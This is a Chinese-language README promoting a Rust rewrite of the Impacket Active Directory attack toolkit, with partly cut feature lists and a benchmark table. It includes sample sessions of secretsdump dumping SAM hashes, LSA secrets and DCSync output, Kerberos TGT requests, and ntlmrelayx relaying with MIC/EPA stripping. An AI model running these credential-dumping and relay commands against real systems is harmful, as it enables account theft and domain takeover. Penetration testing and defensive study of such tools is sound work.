高性能、内存安全的 Rust 重写版核心 Impacket 网络协议与 Active Directory 工具
零依赖 Python 或 C 运行时 • 纯 Rust 加密原语 • 100% Impacket 功能对等 • 支持 Linux、macOS 与 Windows
Impacket-RS 是对业界标准 SecureAuth Impacket 工具包的现代化、内存安全、从零开始的重写版本,完全采用纯 Rust 实现。它面向安全研究人员、渗透测试人员、红队成员和系统管理员,为底层 Windows 网络协议操作带来了极致的速度、亚毫秒级冷启动、零解释器开销以及完整的编译期内存安全。
psexec、wmiexec、smbexec、atexec)、网络扫描与指纹识别(scan、cldap、kerbrute)、无代理安全审计(audit host、audit domain)、状态保管库持久化(hosts、creds)、凭据转储(secretsdump、ntdsdump、dpapi)、ADCS 证书注册与审计(certipy 覆盖 [MS-ICPR] 及 ESC1-ESC15)、影子凭据(whisker 用于 msDS-KeyCredentialLink)、认证强制(coerce 覆盖 EFSR/RPRN/FSRVP/DFSNM)、Kerberos 攻击与装甲(GetNPUsers、GetUserSPNs、getTGT、getST、raiseChild、ticketer Golden/Silver/Diamond)、Active Directory 管理(ldapclient、GetADUsers、trueTree、dnstool、GetLAPSPassword)、中继(ntlmrelayx)、数据包解析(sniffer)以及网络审计(rdp_check、mqtt_check、tracer)。LegacyWin2000、UniversalAuto、ModernHardened)。
基准测试在 Apple Silicon(M 系列,10 核)和 Linux(AMD EPYC,8 核)上执行,对比 Python 3.11 Impacket v0.12.0 与 impacket-rs v0.1.0(release 构建):
| 基准指标 | Python Impacket (v0.12.0) | Impacket-RS (Rust) | 加速比 / 效率 |
|---|---|---|---|
| CLI 冷启动延迟 | 185.4 ms | 1.8 ms | 约 103 倍更快 |
| NDR PDU 打包 + 解包 | 42,000 ops/sec | 5,850,000 ops/sec | 约 139 倍更快 |
| 内存占用(RSS) | 48.2 MB | 4.6 MB | 约 10 倍更小 |
| 10,000 个 NTDS 哈希解析 | 14.8 seconds | 0.22 seconds | 约 67 倍更快 |
| Kerberos 票据加密 | 1,250 tickets/sec | 98,400 tickets/sec | 约 78 倍更快 |
| 静态二进制大小 | 需要 Python + Venv | 单一自包含二进制 | 零运行时依赖 |
secretsdump(远程 SAM、LSA 与 Active Directory DCSync)$ impacket-rs secretsdump corp.local/administrator:[email protected]
Impacket-RS v0.1.0 - High-Performance Active Directory & Protocol Toolkit
[*] Target OS identified: Windows Server 2022 Datacenter (Build 20348)
[*] Negotiated SMB Dialect: SMB 3.1.1 [AES-128-GCM / SHA-512 Preauth]
[*] Service Remote Registry (winreg) started successfully via \PIPE\svcctl
[*] Dumping local SAM hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping LSA Secrets...
$MACHINE.ACC: 0x4a12f8c... [AES-256 decrypted]
NL$KM: 0x88e142c...
[*] Bound to MS-DRSR (DRSUAPI DCSync) over ncacn_ip_tcp...
[+] Domain Controller synchronization complete: 1,420 accounts extracted in 0.84s
getTGT(RFC 6113)$ impacket-rs getTGT -fast armor.ccache corp.local/svc_backup:[email protected]
Impacket-RS v0.1.0 - High-Performance Active Directory & Protocol Toolkit
[*] Loading Kerberos FAST Armor from 'armor.ccache'...
[*] Encapsulating AS-REQ inside PA-FX-FAST using PRF+ (AES-256) session subkey...
[*] Sending armored AS-REQ to 192.168.1.5:88...
[+] Received AS-REP (EncType: AES256-CTS-HMAC-SHA1-96)
[+] Successfully acquired TGT for [email protected]!
[*] Saved credential cache to 'svc_backup.ccache'
findDelegation$ impacket-rs findDelegation -graph administrator:[email protected]
Impacket-RS v0.1.0 - High-Performance Active Directory & Protocol Toolkit
[*] Connecting to LDAP on 192.168.1.10:389...
[*] Scanning Active Directory for Kerberos Delegation configurations...
=== Active Directory Delegation Graph ===
[DC01$] (Unconstrained Delegation)
├── TRUSTS ANY SERVICE ON DOMAIN
└── Can impersonate any ticket presented to host
[WEB-SRV01$] (Constrained Delegation with Protocol Transition)
└── [cifs/fileserver.corp.local]
└── [http/fileserver.corp.local]
[SQL-SVC] (Resource-Based Constrained Delegation)
└── Allowed Principals: [CORP\Tier1-Admins]
[+] Discovered 3 delegation relationships.
ntlmrelayx 多目标中继$ impacket-rs ntlmrelayx -tf targets.txt -proto http
Impacket-RS v0.1.0 - High-Performance Active Directory & Protocol Toolkit
[*] Initializing NTLM Relay Engine...
Listen Protocol : HTTP
Listen Port : 80
Target Count : 4
Strip MIC : Enabled (MsvAvFlags & !0x02)
Strip EPA : Enabled (MsvAvChannelBindings)
[+] Target Routing Table:
[01] SMB -> 192.168.1.10:445
[02] LDAP -> dc01.corp.local:389
[03] MSSQL -> sql01.corp.local:1433
[04] HTTP -> web01.corp.local:8080
[+] Relay session ready: Http -> Smb
[+] Ready to receive incoming connections. Relay engine operational.
impacket-rs 面向 Linux、macOS 和 Windows 构建,覆盖 x86_64 (amd64) 和 aarch64 (arm64) 两种架构。
每次发布都会在 GitHub Releases 下发布预编译的独立二进制文件: